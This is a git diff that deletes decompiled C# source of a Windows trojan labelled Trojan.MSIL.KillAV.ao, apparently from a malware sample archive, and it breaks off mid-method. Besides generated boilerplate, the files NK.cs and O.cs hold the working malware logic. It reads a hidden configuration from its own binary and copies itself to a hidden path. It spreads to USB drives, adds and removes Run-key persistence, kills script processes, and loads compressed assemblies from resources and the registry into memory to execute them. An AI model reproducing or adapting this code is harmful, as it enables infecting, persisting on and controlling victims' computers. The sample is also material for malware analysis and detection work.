MyApplication : ConsoleApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyComputer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyComputer.cs deleted file mode 100644 index e07f2591..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MyComputer -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace nv.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyProject.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyProject.cs deleted file mode 100644 index 6a5a9be1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyProject.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MyProject -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace nv.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettings.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettings.cs deleted file mode 100644 index e2a4cae4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettings.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MySettings -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace nv.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettingsProperty.cs deleted file mode 100644 index 269755cc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MySettingsProperty -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace nv.My -{ - [DebuggerNonUserCode] - [StandardModule] - [CompilerGenerated] - [HideModuleName] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/Resources/Resources.cs deleted file mode 100644 index 7af150de..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/Resources/Resources.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.Resources.Resources -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace nv.My.Resources -{ - [DebuggerNonUserCode] - [StandardModule] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - public sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - public static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) nv.My.Resources.Resources.resourceMan, (object) null)) - nv.My.Resources.Resources.resourceMan = new ResourceManager("nv.Resources", typeof (nv.My.Resources.Resources).Assembly); - return nv.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - public static CultureInfo Culture - { - get => nv.My.Resources.Resources.resourceCulture; - set => nv.My.Resources.Resources.resourceCulture = value; - } - - public static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(nv.My.Resources.Resources.ResourceManager.GetObject(nameof (P), nv.My.Resources.Resources.resourceCulture)); - - public static string Q => nv.My.Resources.Resources.ResourceManager.GetString(nameof (Q), nv.My.Resources.Resources.resourceCulture); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/NK.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/NK.cs deleted file mode 100644 index 15093577..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/NK.cs +++ /dev/null @@ -1,79 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.NK -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; - -namespace nv -{ - [StandardModule] - public sealed class NK - { - public static string Key = "HKEY_CURRENT_USER\\Software\\nKey"; - public static Registry R; - - public static void SetValue(ref string N, ref string V) => Registry.SetValue(NK.Key, N, (object) V, RegistryValueKind.String); - - public static string GetValue(ref string N, ref string DF) - { - string Left = Conversions.ToString(Registry.GetValue(NK.Key, N, (object) null)); - return Operators.CompareString(Left, (string) null, false) == 0 ? DF : Left; - } - - public static void DeleteValue(ref string N) - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - string name = NK.Key.Replace(Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""); - Registry.CurrentUser.OpenSubKey(name, true).DeleteValue(N); - } - - public static void CLEAR() - { - string su = O.SU; - O.SU = "*"; - string name = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; - if (Operators.CompareString(su, "*", false) != 0) - { - try - { - Registry.LocalMachine.OpenSubKey(name, true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Registry.CurrentUser.OpenSubKey(name, true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) checked (Instance.Length - 1) - }, (string[]) null)), false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/O.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/O.cs deleted file mode 100644 index ae870d1e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/O.cs +++ /dev/null @@ -1,1409 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.O -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.VisualBasic.MyServices; -using Microsoft.Win32; -using nv.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; - -namespace nv -{ - [StandardModule] - public sealed class O - { - public static bool[] Bo = new bool[7]; - public static string[] ST = new string[6]; - public static string en; - public static int ms; - [AccessedThroughProperty("WC")] - private static sk _WC; - public static string Ai; - public static string SU; - public static string Uo; - public static string sp; - public static string mU; - public static string FR; - private static int c2; - private static int cc; - private static int c0; - public static Mutex jm; - [AccessedThroughProperty("B")] - private static BackgroundWorker _B; - public static Process fj; - private static string u; - private static string z; - - static O() - { - O.WC = new sk(); - O.SU = "*"; - O.Uo = "*"; - O.sp = "*"; - O.mU = "*"; - O.B = new BackgroundWorker(); - O.fj = new Process(); - O.u = O.Fp() + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs"; - O.z = O.DEB(ref nv.My.Resources.Resources.Q.Split('.')[0]).Replace("NJP", O.ep()).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id)); - } - - public static sk WC - { - get => O._WC; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - sk.O1EventHandler o1EventHandler = new sk.O1EventHandler(O.W3); - sk.O2EventHandler o2EventHandler = new sk.O2EventHandler(O.W2); - sk.O0EventHandler o0EventHandler = new sk.O0EventHandler(O.W0); - if (O._WC != null) - { - O._WC.O1 -= o1EventHandler; - O._WC.O2 -= o2EventHandler; - O._WC.O0 -= o0EventHandler; - } - O._WC = value; - if (O._WC == null) - return; - O._WC.O1 += o1EventHandler; - O._WC.O2 += o2EventHandler; - O._WC.O0 += o0EventHandler; - } - } - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetProcessWorkingSetSize( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - public static void E() - { - try - { - while (true) - { - do - { - Thread.Sleep(10000); - GC.Collect(); - GC.WaitForPendingFinalizers(); - } - while (Environment.OSVersion.Platform != PlatformID.Win32NT); - O.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void R() - { - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance1 = (Array) File.ReadAllBytes(O.ep()); - int num1 = checked (Instance1.Length - 400); - int num2 = checked (Instance1.Length - 1); - int num3 = num1; - while (num3 <= num2) - { - int num4; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "***", false) == 0) - num4 = checked (num3 + 1); - int num5; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "^^^", false) == 0) - num5 = checked (num3 - 3); - if (num4 > 0 & num5 == 0) - memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - byte[] array1 = memoryStream1.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(array1, 1, checked (array1.Length - 3)); - Encoding encoding = Encoding.Default; - byte[] array2 = memoryStream2.ToArray(); - bool flag = false; - ref bool local1 = ref flag; - byte[] bytes = O.ZIP(array2, ref local1); - Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), O.ST[1]); - O.ST[5] = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 0 - }, (string[]) null)); - O.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 1 - }, (string[]) null)); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null), (object) "*", false)) - { - O.Ai = "*"; - } - else - { - O.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[0]; - if (Operators.CompareString(O.Ai, O.ep(), false) != 0) - { - try - { - if (File.Exists(O.Ai)) - File.Delete(O.Ai); - File.Copy(O.ep(), O.Ai, true); - try - { - File.SetAttributes(O.Ai, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[2][0]), "T", false) == 0) - { - string ai = O.Ai; - string s = O.ep(); - string arguments = "Kill@" + O.ENB(ref s); - Process.Start(ai, arguments); - } - else - Process.Start(O.Ai); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 3 - }, (string[]) null), (object) "^", false)) - O.Bo[6] = true; - if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)), "*") == 0) - { - O.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)); - new Thread((ParameterizedThreadStart) (a0 => O.USb(Conversions.ToString(a0)))).Start((object) O.Uo); - O.sp = "(" + O.Uo + ")USB,"; - } - O.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 5 - }, (string[]) null)); - try - { - Mutex.OpenExisting(O.mU); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.jm = new Mutex(true, O.mU); - Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - NK.Key = Conversions.ToString(Operators.ConcatenateObject((object) "HKEY_CURRENT_USER\\Software\\", NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - string[] st = O.ST; - string str1 = "vname"; - ref string local2 = ref str1; - Array Instance3 = Instance2; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num6 = 7; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num6; - objArray2[0] = (object) local3; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local4 = ref str2; - string str3 = NK.GetValue(ref local2, ref local4); - NewLateBinding.LateIndexSetComplex((object) Instance2, new object[2] - { - (object) num6, - (object) str2 - }, (string[]) null, true, false); - st[2] = str3; - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 9 - }, (string[]) null), (object) "^", false)) - return; - new Thread(new ThreadStart(O.fwb)).Start(); - } - - public static void fwb() - { - try - { - byte[] p = nv.My.Resources.Resources.P; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = O.ZIP(p, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "main"; - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - O.inv(ref local2, ref local3, ref local4, ref local5); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void x(byte[] B) - { - try - { - byte[] B1 = B; - bool flag = false; - ref bool local = ref flag; - Assembly.Load(O.ZIP(B1, ref local)).EntryPoint.Invoke((object) null, new object[0]); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - byte[] B2 = B; - bool flag = false; - ref bool local = ref flag; - Assembly.Load(O.ZIP(B2, ref local)).EntryPoint.Invoke((object) null, new object[1] - { - (object) new string[0] - }); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - [STAThread] - public static void main() - { - try - { - string Expression = Interaction.Command(); - if (Expression.Length > 0) - { - Array Instance1 = (Array) Strings.Split(Expression, "@"); - object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false)) - { - Thread.Sleep(100); - try - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))).Kill(); - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false)) - Thread.Sleep(2000); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false)) - { - try - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - objArray2[0] = (object) local; - object[] Arguments = objArray1; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - string path = O.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) s - }, (string[]) null, true, false); - File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - byte[] parameter = (byte[]) MyProject.Computer.Registry.CurrentUser.GetValue("p161", (object) new byte()); - if (parameter != null) - { - Thread thread = new Thread((ParameterizedThreadStart) (a0 => O.x((byte[]) a0))); - thread.Start((object) parameter); - do - { - Thread.Sleep(1); - } - while (thread.IsAlive); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - O.ST[0] = Interaction.Environ("temp") + "\\"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.ST[1] = "^:^"; - O.ST[2] = "VmljdGlt"; - O.ST[3] = "X"; - O.ST[4] = "1.6.1"; - O.ST[5] = "127.0.0.1:7"; - try - { - O.en = Process.GetCurrentProcess().ProcessName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - O.en = "!"; - ProjectData.ClearProjectError(); - } - try - { - O.ST[3] = Environment.MachineName + "\\" + Environment.UserName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); 